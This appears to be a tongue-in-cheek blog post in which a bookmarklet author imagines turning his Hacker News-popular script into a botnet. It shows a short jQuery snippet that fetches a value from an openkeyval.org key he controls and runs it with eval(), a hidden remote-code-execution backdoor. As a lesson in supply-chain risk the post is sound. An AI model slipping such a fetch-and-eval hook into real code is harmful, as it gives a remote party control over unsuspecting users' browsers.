Mr Speaker

Yesterday had me basking in the internet glory of #1-on-Hacker-News. "This fame will last forever", I pronounced confidently. Alas, like all fleeting glory - it was fleeting. Thankfully, I've come up with a plan to ensure perpetual future success: I turn my fleeting glory into my very own Hacker News botnet!

All I've to do is smuggle some code into the guts of the main file of the bookmarklet. The hordes of Hacker News user who are now hopelessly addicted to the script will unknowingly run this every two minutes! It's not like anyone's going to be watching my commits... But what should I add? How 'bout this...

$.ajax({
  url: "http://api.openkeyval.org/rok-7cdc8a41194070629874dae0aeba2efa5e2f06bc",
  dataType: "jsonp",
  success: function(data){
    eval(data)
  }
});

What does that do? Well, why don't you click this button and see? Go on.... (Really, it's safe enough: the actual code that runs only alerts instead of evals - view source to confirm if you don't believe me!).

The code just pulls a single value from the openkeyval.org (damn clever idea that site, by the way) and then alerts it. Or possibly evals it.

Because I'm pointing at the read-only key, only I, Mr Speaker, know the location of the true key. That way I can update the values whenever I like - and have my botnet do my bidding.

So if you notice 8bit computing and JavaScript stories on the rise, and "How I got my stupid startup 50 jillion visitors in 30 seconds" stories disappear - you'll have me to thank.